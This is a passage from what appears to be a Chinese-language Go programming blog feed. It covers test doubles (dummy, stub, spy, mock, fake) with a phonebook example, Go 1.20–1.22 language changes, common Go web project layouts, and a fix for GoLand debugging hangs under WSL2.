&lt;p&gt;通过接口来实现，就能轻松的实现解耦。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Searcher interface {
	Search(people []*Person, firstName string, lastName string) *Person
}

func (p *Phonebook) FindPhone(searcher Searcher, firstName, lastName string) (string, error) {
	if firstName == &quot;&quot; || lastName == &quot;&quot; {
		return &quot;&quot;, ArgumentWrong
	}
	person := searcher.Search(p.People, firstName, lastName)
	if person == nil {
		return &quot;&quot;, PersonNotExist
	}
	return person.Phone, nil
}

type NormalImpl struct{}

func (n NormalImpl) Search(people []*Person, firstName string, lastName string) *Person {
	for _, p := range people {
		if p.FirstName == firstName &amp;amp;&amp;amp; p.LastName == lastName {
			return p
		}
	}
	return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的测试函数为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestNormal(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		wantPhone      string
		wantErr        error
	}{
		{&quot;FirstName1&quot;, &quot;LastName1&quot;, &quot;Phone1&quot;, nil},
		{&quot;&quot;, &quot;&quot;, &quot;&quot;, ArgumentWrong},
		{&quot;FirstName3&quot;, &quot;LastName3&quot;, &quot;&quot;, PersonNotExist},
	}

	for _, tt := range tests {
		gotPhone, gotErr := phonebook.FindPhone(&amp;amp;NormalImpl{}, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.wantPhone {
			t.Errorf(&quot;got %v, want %v&quot;, gotPhone, tt.wantPhone)
		}
		if !errors.Is(gotErr, tt.wantErr) {
			t.Errorf(&quot;gotErr %v, wantErr %v&quot;, gotErr, tt.wantErr)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dummy&lt;/h2&gt;
&lt;p&gt;Dummy 是一个空的实例，不实现任何功能，只是用于防止编译器报错。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type DummyImpl struct{}

func (d DummyImpl) Search(people []*Person, firstName string, lastName string) *Person {
	return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在实践中最好不要通过 Dummy 来测试。&lt;/p&gt;
&lt;h2&gt;Stub&lt;/h2&gt;
&lt;p&gt;Stub 直接在调用时提供结果值。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type StubImpl struct {
	phone string
}

func (s StubImpl) Search(people []*Person, firstName string, lastName string) *Person {
	return &amp;amp;Person{
		FirstName: firstName,
		LastName:  lastName,
		Phone:     s.phone,
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的测试函数为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestStub(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		stubPhone      string
		wantErr        error
	}{
		{&quot;FirstName1&quot;, &quot;LastName1&quot;, &quot;Phone1&quot;, nil},
		{&quot;&quot;, &quot;&quot;, &quot;&quot;, ArgumentWrong},
	}

	for _, tt := range tests {
		gotPhone, gotErr := phonebook.FindPhone(&amp;amp;StubImpl{tt.stubPhone}, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.stubPhone {
			t.Errorf(&quot;got %v, want %v&quot;, gotPhone, tt.stubPhone)
		}
		if !errors.Is(gotErr, tt.wantErr) {
			t.Errorf(&quot;gotErr %v, wantErr %v&quot;, gotErr, tt.wantErr)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时可以通过 Stub 的值来测试代码的某些路径，如：返回 ArgumentWrong 错误的路径。&lt;/p&gt;
&lt;h2&gt;Spy&lt;/h2&gt;
&lt;p&gt;Spy 在 Stub 的基础上，还可以记住是否进行了调用。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type SpyImpl struct {
	phone  string
	called bool
}

func (s *SpyImpl) Search(people []*Person, firstName string, lastName string) *Person {
	s.called = true
	return &amp;amp;Person{
		FirstName: firstName,
		LastName:  lastName,
		Phone:     s.phone,
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的测试函数为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestSpy(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		spyPhone       string
		called         bool
	}{
		{&quot;FirstName1&quot;, &quot;LastName1&quot;, &quot;Phone1&quot;, true},
	}

	for _, tt := range tests {
		spyImpl := &amp;amp;SpyImpl{tt.spyPhone, tt.called}
		gotPhone, _ := phonebook.FindPhone(spyImpl, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.spyPhone {
			t.Errorf(&quot;got %v, want %v&quot;, gotPhone, tt.spyPhone)
		}
		if spyImpl.called != tt.called {
			t.Errorf(&quot;got call %v, want call %v&quot;, spyImpl.called, tt.called)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mock&lt;/h2&gt;
&lt;p&gt;Mock 在 Stub 和 Spy 的基础上，还提供了验证是否调用了某个函数的功能。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type MockImpl struct {
	phone         string
	methodsToCall map[string]bool
}

func (m *MockImpl) Search(people []*Person, firstName string, lastName string) *Person {
	m.methodsToCall[&quot;Search&quot;] = true
	return &amp;amp;Person{
		FirstName: firstName,
		LastName:  lastName,
		Phone:     m.phone,
	}
}

func (m *MockImpl) ExpectToCall(methodName string) {
	if m.methodsToCall == nil {
		m.methodsToCall = make(map[string]bool)
	}
	m.methodsToCall[methodName] = false
}

func (m *MockImpl) Verify() bool {
	for _, called := range m.methodsToCall {
		if !called {
			return false
		}
	}
	return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的测试函数为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestMock(t *testing.T) {
	tests := []struct {
		inputFirstName   string
		inputLastName    string
		mockPhone        string
		expectToCall     string
		wantVerifyResult bool
	}{
		{&quot;FirstName1&quot;, &quot;LastName1&quot;, &quot;Phone1&quot;, &quot;Search&quot;, true},
		{&quot;FirstName1&quot;, &quot;LastName1&quot;, &quot;Phone1&quot;, &quot;UnCalled&quot;, false},
	}

	for _, tt := range tests {
		mock := &amp;amp;MockImpl{phone: tt.mockPhone}
		mock.ExpectToCall(tt.expectToCall)
		gotPhone, _ := phonebook.FindPhone(mock, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.mockPhone {
			t.Errorf(&quot;got %v, want %v&quot;, gotPhone, tt.mockPhone)
		}
		gotVerifyResult := mock.Verify()
		if gotVerifyResult != tt.wantVerifyResult {
			t.Errorf(&quot;got %v, want %v&quot;, gotVerifyResult, tt.wantVerifyResult)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Fake&lt;/h2&gt;
&lt;p&gt;Fake 的仿真度更接近于真实实现，只不过是通过一种简单的方式来实现。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type FakeImpl struct {
	people []*Person
}

func (f *FakeImpl) Search(people []*Person, firstName string, lastName string) *Person {
	if len(f.people) == 0 {
		return nil
	}
	return f.people[0]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的测试函数为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestFake(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		fakePhone      string
		inputPeople    []*Person
	}{
		{&quot;FirstName1&quot;, &quot;LastName1&quot;, &quot;Phone1&quot;, []*Person{{
			FirstName: &quot;&quot;,
			LastName:  &quot;&quot;,
			Phone:     &quot;Phone1&quot;,
		}}},
		{&quot;FirstName1&quot;, &quot;LastName1&quot;, &quot;&quot;, nil},
	}

	for _, tt := range tests {
		gotPhone, _ := phonebook.FindPhone(&amp;amp;FakeImpl{tt.inputPeople}, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.fakePhone {
			t.Errorf(&quot;got %v, want %v&quot;, gotPhone, tt.fakePhone)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://qiangmzsx.github.io/Software-Engineering-at-Google/#/zh-cn/Chapter-13_Test_Doubles/Chapter-13_Test_Doubles&quot;&gt;Software Engineering at Google 第十三章 测试替代&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ieftimov.com/posts/testing-in-go-test-doubles-by-example/&quot;&gt;Testing in Go: Test Doubles by Example&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang 1.22 语言规范改动</title><link>https://www.sulinehk.com/post/language-specification-changes-in-golang-122/</link><guid isPermaLink="true">https://www.sulinehk.com/post/language-specification-changes-in-golang-122/</guid><pubDate>Tue, 12 Mar 2024 03:37:46 GMT</pubDate><content:encoded>&lt;h2&gt;默认修复循环变量意外共享问题&lt;/h2&gt;
&lt;p&gt;在 Go 1.21 需要手动通过 GOEXPERIMENT=loopvar 启用的功能，修复循环变量意外共享，现在是默认的。&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestLoopVar(t *testing.T) {
	var funcSlice []func()
	for i := 0; i &amp;lt; 3; i++ {
		funcSlice = append(funcSlice, func() {
			print(i)
			print(&quot; &quot;)
		})
	}
	for j := 0; j &amp;lt; 3; j++ {
		funcSlice[j]()
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 Go 1.22 之前，以上代码打印的值为 &lt;code&gt;3 3 3 &lt;/code&gt;，现在是 &lt;code&gt;0 1 2 &lt;/code&gt;。这是因为 i 只会创建一次，然后在每次迭代中不断赋予新值。&lt;/p&gt;
&lt;p&gt;现在每次迭代都会创建一个新的 i，每个 i 的地址都不一样，所以不会意外共享。详见：&lt;a href=&quot;https://www.sulinehk.com/post/golang-closure-details/#%E7%AC%AC%E4%B8%89%E4%B8%AA%E4%BE%8B%E5%AD%90&quot;&gt;Go 语言闭包详解 - 第三个例子&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;range 支持整数&lt;/h2&gt;
&lt;p&gt;现在可以在 range 后面写一个整数，然后 for 会循环对应的次数，i 从 0 开始递增。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestRangeNumber(t *testing.T) {
	for i := range 5 {
		print(i)
		print(&quot; &quot;)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上代码打印的值为 &lt;code&gt;0 1 2 3 4 &lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;可以起到简化以下代码的作用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	for i := 0; i &amp;lt; 5; i++ {
		print(i)
		print(&quot; &quot;)
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;range 支持函数迭代器&lt;/h2&gt;
&lt;p&gt;假设我们要实现反向打印切片值的功能，一个简单的实现可能是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestBackward(t *testing.T) {
	s := []string{&quot;hello&quot;, &quot;world&quot;}
	for i := len(s) - 1; i &amp;gt;= 0; i-- {
		print(i, s[i])
		print(&quot; &quot;)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上代码会打印&lt;code&gt;1world 0hello &lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;在 Go 1.22，可以通过 GOEXPERIMENT=rangefunc 启用 range 支持函数迭代器。&lt;/p&gt;
&lt;p&gt;这样就可以用以下代码实现相同功能：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Backward[E any](s []E) func(func(int, E) bool) {
	return func(yield func(int, E) bool) {
		for i := len(s) - 1; i &amp;gt;= 0; i-- {
			if !yield(i, s[i]) {
				return
			}
		}
	}
}

func TestLoopFunc(t *testing.T) {
	s := []string{&quot;hello&quot;, &quot;world&quot;}
	for i, x := range Backward(s) {
		print(i, x)
		print(&quot; &quot;)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以起到简化以下代码的作用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	s := []string{&quot;hello&quot;, &quot;world&quot;}
	Backward(s)(func(i int, x string) bool {
		print(i, x)
		print(&quot; &quot;)
		return true
	})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/doc/go1.22#language&quot;&gt;Go 1.22 Release Notes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/wiki/RangefuncExperiment&quot;&gt;Go Wiki: Rangefunc Experiment&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang Web 项目常见布局</title><link>https://www.sulinehk.com/post/golang-web-project-common-layout/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-web-project-common-layout/</guid><pubDate>Wed, 31 Jan 2024 12:46:17 GMT</pubDate><content:encoded>&lt;h2&gt;官方布局&lt;/h2&gt;
&lt;p&gt;来源：&lt;a href=&quot;https://go.dev/doc/modules/layout&quot;&gt;Golang 官方文档&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;project-root-directory/
  go.mod
  internal/
    auth/
      ...
    metrics/
      ...
    model/
      ...
  cmd/
    api-server/
      main.go
    metrics-analyzer/
      main.go
    ...
  ... the project&apos;s other directories with non-Go code
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结：只是一个简单的布局，cmd/ 作为入口，不同的应用使用不同的目录；internal/ 作为放置实际代码的地方，按功能模块来分隔。&lt;/p&gt;
&lt;h2&gt;golang-standards/project-layout&lt;/h2&gt;
&lt;p&gt;来源：&lt;a href=&quot;https://github.com/golang-standards/project-layout/blob/master/README_zh.md&quot;&gt;golang-standards/project-layout&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/cmd：主应用，如：cmd/api-server/main.go，只调用 internal 和 pkg 中的代码。&lt;/li&gt;
&lt;li&gt;/internal：私有代码。&lt;/li&gt;
&lt;li&gt;/pkg：外部应用程序可以使用的库代码。&lt;/li&gt;
&lt;li&gt;/api：API 协议文件，如：OpenAPI、protocol 协议。&lt;/li&gt;
&lt;li&gt;/web：前端。&lt;/li&gt;
&lt;li&gt;/configs：配置文件。&lt;/li&gt;
&lt;li&gt;/init：系统管理工具配置，如：systemd。&lt;/li&gt;
&lt;li&gt;/scripts：各种脚本，主要作用是使得 Makefile 简短。&lt;/li&gt;
&lt;li&gt;/build：打包和持续集成。其中 /build/package 放置 Docker、deb 等配置和脚本；/build/ci 放置 CI 配置和脚本。但是 GitHub Actions 无法自定义路径，只能使用 .github/workflows/build.yml。&lt;/li&gt;
&lt;li&gt;/deployments：IaaS、PaaS、系统和容器编排部署配置和模板（docker-compose、kubernetes/helm、terraform）。使用 k8s 部署的应用程序中，此目录称为 /deploy。&lt;/li&gt;
&lt;li&gt;/test：其他外部测试应用程序和测试数据。如：/test/data。&lt;/li&gt;
&lt;li&gt;/docs：设计和用户文档，不包括 godoc。&lt;/li&gt;
&lt;li&gt;/tools：该项目的支持工具。这些工具可以从 /internal 和 /pkg 导入代码。&lt;/li&gt;
&lt;li&gt;/examples：代码示例。&lt;/li&gt;
&lt;li&gt;/third_party：外部帮助工具、fork 的代码和其他第 3 方实用程序，如：Swagger UI。&lt;/li&gt;
&lt;li&gt;/githooks：Git 钩子。&lt;/li&gt;
&lt;li&gt;/assets：与您的存储库一起使用的资产，如：图像、徽标等。&lt;/li&gt;
&lt;li&gt;/website：项目的网站数据，如：GitHub 页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总结：只说明了各个目录隐含的意思。&lt;/p&gt;
&lt;h2&gt;go-zero 框架&lt;/h2&gt;
&lt;p&gt;来源：&lt;a href=&quot;https://go-zero.dev/docs/concepts/layout&quot;&gt;go-zero 框架布局&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;example
├── etc
│   └── example.yaml
├── main.go
└── internal
    ├── config
    │   └── config.go
    ├── handler
    │   ├── xxxhandler.go
    │   └── xxxhandler.go
    ├── logic
    │   └── xxxlogic.go
    ├── svc
    │   └── servicecontext.go
    └── types
        └── types.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结：请求从 logic/xxxlogic.go 开始，途经 handler，可以自定义模板来实现 DDD 架构。&lt;/p&gt;
&lt;h2&gt;wild-workouts-go-ddd-example&lt;/h2&gt;
&lt;p&gt;来源：&lt;a href=&quot;https://github.com/ThreeDotsLabs/wild-workouts-go-ddd-example&quot;&gt;wild-workouts-go-ddd-example&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;internel/ 目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.
├── common
│   ├── auth
│   │   ├── http.go
│   │   └── http_mock.go
│   ├── client
│   │   ├── auth.go
│   │   ├── grpc.go
│   │   ├── net.go
│   │   ├── trainer
│   │   │   ├── openapi_client_gen.go
│   │   │   └── openapi_types.gen.go
│   │   ├── trainings
│   │   │   ├── openapi_client_gen.go
│   │   │   └── openapi_types.gen.go
│   │   └── users
│   │       ├── openapi_client_gen.go
│   │       └── openapi_types.gen.go
│   ├── decorator
│   │   ├── command.go
│   │   ├── logging.go
│   │   ├── metrics.go
│   │   └── query.go
│   ├── errors
│   │   └── errors.go
│   ├── genproto
│   │   ├── trainer
│   │   │   ├── trainer.pb.go
│   │   │   └── trainer_grpc.pb.go
│   │   └── users
│   │       ├── users.pb.go
│   │       └── users_grpc.pb.go
│   ├── go.mod
│   ├── go.sum
│   ├── logs
│   │   ├── cqrs.go
│   │   ├── http.go
│   │   └── logrus.go
│   ├── metrics
│   │   └── dummy.go
│   ├── server
│   │   ├── grpc.go
│   │   ├── http.go
│   │   └── httperr
│   │       └── http_error.go
│   └── tests
│       ├── clients.go
│       ├── e2e_test.go
│       ├── hours.go
│       ├── jwt.go
│       └── wait.go
├── trainer
│   ├── adapters
│   │   ├── dates_firestore_repository.go
│   │   ├── hour_firestore_repository.go
│   │   ├── hour_memory_repository.go
│   │   ├── hour_mysql_repository.go
│   │   └── hour_repository_test.go
│   ├── app
│   │   ├── app.go
│   │   ├── command
│   │   │   ├── cancel_training.go
│   │   │   ├── make_hours_available.go
│   │   │   ├── make_hours_unavailable.go
│   │   │   └── schedule_training.go
│   │   └── query
│   │       ├── available_hours.go
│   │       ├── hour_availability.go
│   │       └── types.go
│   ├── domain
│   │   └── hour
│   │       ├── availability.go
│   │       ├── availability_test.go
│   │       ├── hour.go
│   │       ├── hour_test.go
│   │       └── repository.go
│   ├── fixtures.go
│   ├── go.mod
│   ├── go.sum
│   ├── main.go
│   ├── ports
│   │   ├── grpc.go
│   │   ├── http.go
│   │   ├── openapi_api.gen.go
│   │   └── openapi_types.gen.go
│   └── service
│       ├── application.go
│       └── component_test.go
├── trainings
│   ├── adapters
│   │   ├── trainer_grpc.go
│   │   ├── trainings_firestore_repository.go
│   │   ├── trainings_firestore_repository_test.go
│   │   └── users_grpc.go
│   ├── app
│   │   ├── app.go
│   │   ├── command
│   │   │   ├── approve_training_reschedule.go
│   │   │   ├── cancel_training.go
│   │   │   ├── cancel_training_test.go
│   │   │   ├── reject_training_reschedule.go
│   │   │   ├── request_training_reschedule.go
│   │   │   ├── reschedule_training.go
│   │   │   ├── schedule_training.go
│   │   │   └── services.go
│   │   └── query
│   │       ├── all_trainings.go
│   │       ├── trainings_for_user.go
│   │       └── types.go
│   ├── domain
│   │   └── training
│   │       ├── cancel.go
│   │       ├── cancel_balance.go
│   │       ├── cancel_test.go
│   │       ├── repository.go
│   │       ├── reschedule.go
│   │       ├── reschedule_test.go
│   │       ├── training.go
│   │       ├── training_test.go
│   │       ├── user.go
│   │       └── user_test.go
│   ├── go.mod
│   ├── go.sum
│   ├── main.go
│   ├── ports
│   │   ├── http.go
│   │   ├── openapi_api.gen.go
│   │   └── openapi_types.gen.go
│   └── service
│       ├── component_test.go
│       ├── mocks.go
│       └── service.go
└── users
    ├── firestore.go
    ├── fixtures.go
    ├── go.mod
    ├── go.sum
    ├── grpc.go
    ├── http.go
    ├── main.go
    ├── openapi_api.gen.go
    └── openapi_types.gen.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结：&lt;/p&gt;
&lt;p&gt;internal/ 目录下分成不同的微服务，common/ 目录放置共用的代码。&lt;/p&gt;
&lt;p&gt;每个微服务按 DDD 的原则划分。&lt;/p&gt;
&lt;p&gt;每个请求一般从 ports\http.go 开始，途经 app 层、domain 层、repository 层（adapters 目录）。&lt;/p&gt;
&lt;h2&gt;go-backend-clean-architecture&lt;/h2&gt;
&lt;p&gt;来源：&lt;a href=&quot;https://github.com/amitshekhariitbhu/go-backend-clean-architecture&quot;&gt;go-backend-clean-architecture&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.
├── Dockerfile
├── LICENSE
├── README.md
├── api
│   ├── controller
│   │   ├── login_controller.go
│   │   ├── profile_controller.go
│   │   ├── profile_controller_test.go
│   │   ├── refresh_token_controller.go
│   │   ├── signup_controller.go
│   │   └── task_controller.go
│   ├── middleware
│   │   └── jwt_auth_middleware.go
│   └── route
│       ├── login_route.go
│       ├── profile_route.go
│       ├── refresh_token_route.go
│       ├── route.go
│       ├── signup_route.go
│       └── task_route.go
├── assets
│   ├── button-view-api-docs.png
│   ├── go-arch-private-api-request-flow.png
│   ├── go-arch-public-api-request-flow.png
│   ├── go-backend-arch-diagram.png
│   └── go-backend-clean-architecture.png
├── bootstrap
│   ├── app.go
│   ├── database.go
│   └── env.go
├── cmd
│   └── main.go
├── docker-compose.yaml
├── domain
│   ├── error_response.go
│   ├── jwt_custom.go
│   ├── login.go
│   ├── mocks
│   │   ├── LoginUsecase.go
│   │   ├── ProfileUsecase.go
│   │   ├── RefreshTokenUsecase.go
│   │   ├── SignupUsecase.go
│   │   ├── TaskRepository.go
│   │   ├── TaskUsecase.go
│   │   └── UserRepository.go
│   ├── profile.go
│   ├── refresh_token.go
│   ├── signup.go
│   ├── success_response.go
│   ├── task.go
│   └── user.go
├── go.mod
├── go.sum
├── internal
│   ├── fakeutil
│   │   └── fakeutil.go
│   └── tokenutil
│       └── tokenutil.go
├── mongo
│   ├── mocks
│   │   ├── Client.go
│   │   ├── Collection.go
│   │   ├── Cursor.go
│   │   ├── Database.go
│   │   └── SingleResult.go
│   └── mongo.go
├── repository
│   ├── task_repository.go
│   ├── user_repository.go
│   └── user_repository_test.go
└── usecase
    ├── login_usecase.go
    ├── profile_usecase.go
    ├── refresh_token_usecase.go
    ├── signup_usecase.go
    ├── task_usecase.go
    └── task_usecase_test.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结：另一种 DDD 布局，请求从 api/controller/login_controller.go 开始，途经 app 层（usecase 目录）、domain 层、repository 层。&lt;/p&gt;
&lt;h2&gt;create-go-app/cli&lt;/h2&gt;
&lt;p&gt;来源：&lt;a href=&quot;https://github.com/create-go-app/cli&quot;&gt;create-go-app/cli&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── app
│   ├── BUSINESS_LOGIC.md
│   ├── controllers
│   │   └── user_controller.go
│   ├── models
│   │   └── user_model.go
│   ├── queries
│   │   └── user_query.go
│   └── validators
│       └── user_validator.go
├── docs
│   ├── docs.go
│   ├── swagger.json
│   └── swagger.yaml
├── go.mod
├── go.sum
├── main.go
├── pkg
│   ├── PROJECT_SPECIFIC.md
│   ├── configs
│   │   ├── jwt_config.go
│   │   └── server_config.go
│   ├── routes
│   │   ├── private_routes.go
│   │   ├── public_routes.go
│   │   └── swagger_routes.go
│   └── utils
│       ├── connection_url_builder.go
│       ├── jwt_generator.go
│       ├── start_server.go
│       └── validator_errors.go
└── platform
    ├── PLATFORM_LEVEL.md
    ├── database
    │   ├── open_db_connection.go
    │   └── postgres.go
    └── migrations
        ├── 000001_create_init_tables.down.sql
        └── 000001_create_init_tables.up.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经典的三层模型，请求从 app/controllers/user_controller.go 开始，途经 queries 目录、models 目录。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>修复 GoLand 调试 WSL2 中的项目时卡住的问题</title><link>https://www.sulinehk.com/post/fix-goland-debug-hangs-on-wsl2-project/</link><guid isPermaLink="true">https://www.sulinehk.com/post/fix-goland-debug-hangs-on-wsl2-project/</guid><pubDate>Wed, 31 Jan 2024 08:00:02 GMT</pubDate><content:encoded>&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;在使用 GoLand 调试 WSL2 中的项目时，调试窗口会卡住，无法 Step Into，并且出现以下信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2024-01-29T15:18:59+08:00 warning layer=rpc Listening for remote connections (co
nnections are not authenticated nor encrypted)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;方法 1：关闭镜像网络模式&lt;/h2&gt;
&lt;p&gt;这实际上是 WSL2 的镜像网络模式造成，它无法监听调试工具 delve 使用的 0.0.0.0 地址。&lt;/p&gt;
&lt;p&gt;可以在 %UserProfile%/.wslconfig 注释掉 networkingMode=mirrored 来关闭它。&lt;/p&gt;
&lt;h2&gt;方法 2：修改 delve&lt;/h2&gt;
&lt;p&gt;在 GitHub 上下载 &lt;a href=&quot;https://github.com/go-delve/delve&quot;&gt;delve 源码&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;然后找到 delve\cmd\dlv\cmds\commands.go 下的 execute 函数，函数签名如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func execute(attachPid int, processArgs []string, conf *config.Config, coreFile string, kind debugger.ExecuteKind, dlvArgs []string, buildFlags string) int 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在函数开头加上以下语句：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;addr = strings.ReplaceAll(addr, &quot;0.0.0.0:&quot;, &quot;127.0.0.1:&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;作用是替换全局变量 &lt;code&gt;addr&lt;/code&gt; 中的 &lt;code&gt;0.0.0.0:&lt;/code&gt; 为 &lt;code&gt;127.0.0.1:&lt;/code&gt;，使得可以正常监听。&lt;/p&gt;
&lt;p&gt;可以通过命令 go test -v ./cmd/dlv/ 来运行测试。&lt;/p&gt;
&lt;p&gt;然后编译成可执行文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CGO_ENABLED=0 GOOS=linux go build -o dlv cmd/dlv/main.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后用自己编译的可执行文件，替换掉 GoLand 的同名文件，文件路径在我的环境上如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Program Files\JetBrains\GoLand 2023.3.2\plugins\go-plugin\lib\dlv\linux\dlv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后测试发现可以正常调试。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://youtrack.jetbrains.com/issue/GO-15209/Debugger-fails-to-connect-when-running-with-WSL-2&quot;&gt;Debugger fails to connect when running with WSL 2&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>Golang 1.21 语言规范改动</title><link>https://www.sulinehk.com/post/language-specification-changes-in-golang-121/</link><guid isPermaLink="true">https://www.sulinehk.com/post/language-specification-changes-in-golang-121/</guid><pubDate>Tue, 23 Jan 2024 05:50:00 GMT</pubDate><content:encoded>&lt;h2&gt;内置函数&lt;/h2&gt;
&lt;p&gt;新增内置函数 min、max 来返回参数中的最小值、最大值。&lt;/p&gt;
&lt;p&gt;新增内置函数 clear 把切片中的所有元素都设置为零值，或把 map 中的所有元素都删除。&lt;/p&gt;
&lt;h2&gt;包初始化顺序&lt;/h2&gt;
&lt;p&gt;新的语言规范对包初始化顺序给出了明确的定义。实际上就是按照深度优先搜索的顺序来初始化。&lt;/p&gt;
&lt;h2&gt;类型推断&lt;/h2&gt;
&lt;p&gt;优化了泛型函数的类型推断，并在规范中做出了明确的定义。&lt;/p&gt;
&lt;h2&gt;循环变量意外共享&lt;/h2&gt;
&lt;p&gt;为了修复一直以来的循环变量意外共享问题，可以先通过以下命令来找出受影响的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go build -gcflags=all=-d=loopvar=2 .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;all=&lt;/code&gt; 表示包括依赖包。&lt;/p&gt;
&lt;p&gt;然后通过以下命令来启用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GOEXPERIMENT=loopvar go build main.go
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nil panic&lt;/h2&gt;
&lt;p&gt;在 Go 1.21 之前的版本，如果传入 panic 函数的参数是 nil，不会返回错误。&lt;/p&gt;
&lt;p&gt;现在会发生错误：&lt;code&gt;panicked: panic called with nil argument&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/doc/go1.21#language&quot;&gt;Go 1.21 Release Notes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/wiki/LoopvarExperiment&quot;&gt;Go Wiki: LoopvarExperiment&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang 1.20 语言规范改动</title><link>https://www.sulinehk.com/post/language-specification-changes-in-golang-120/</link><guid isPermaLink="true">https://www.sulinehk.com/post/language-specification-changes-in-golang-120/</guid><pubDate>Mon, 15 Jan 2024 14:58:33 GMT</pubDate><content:encoded>&lt;h2&gt;切片转换为数组&lt;/h2&gt;
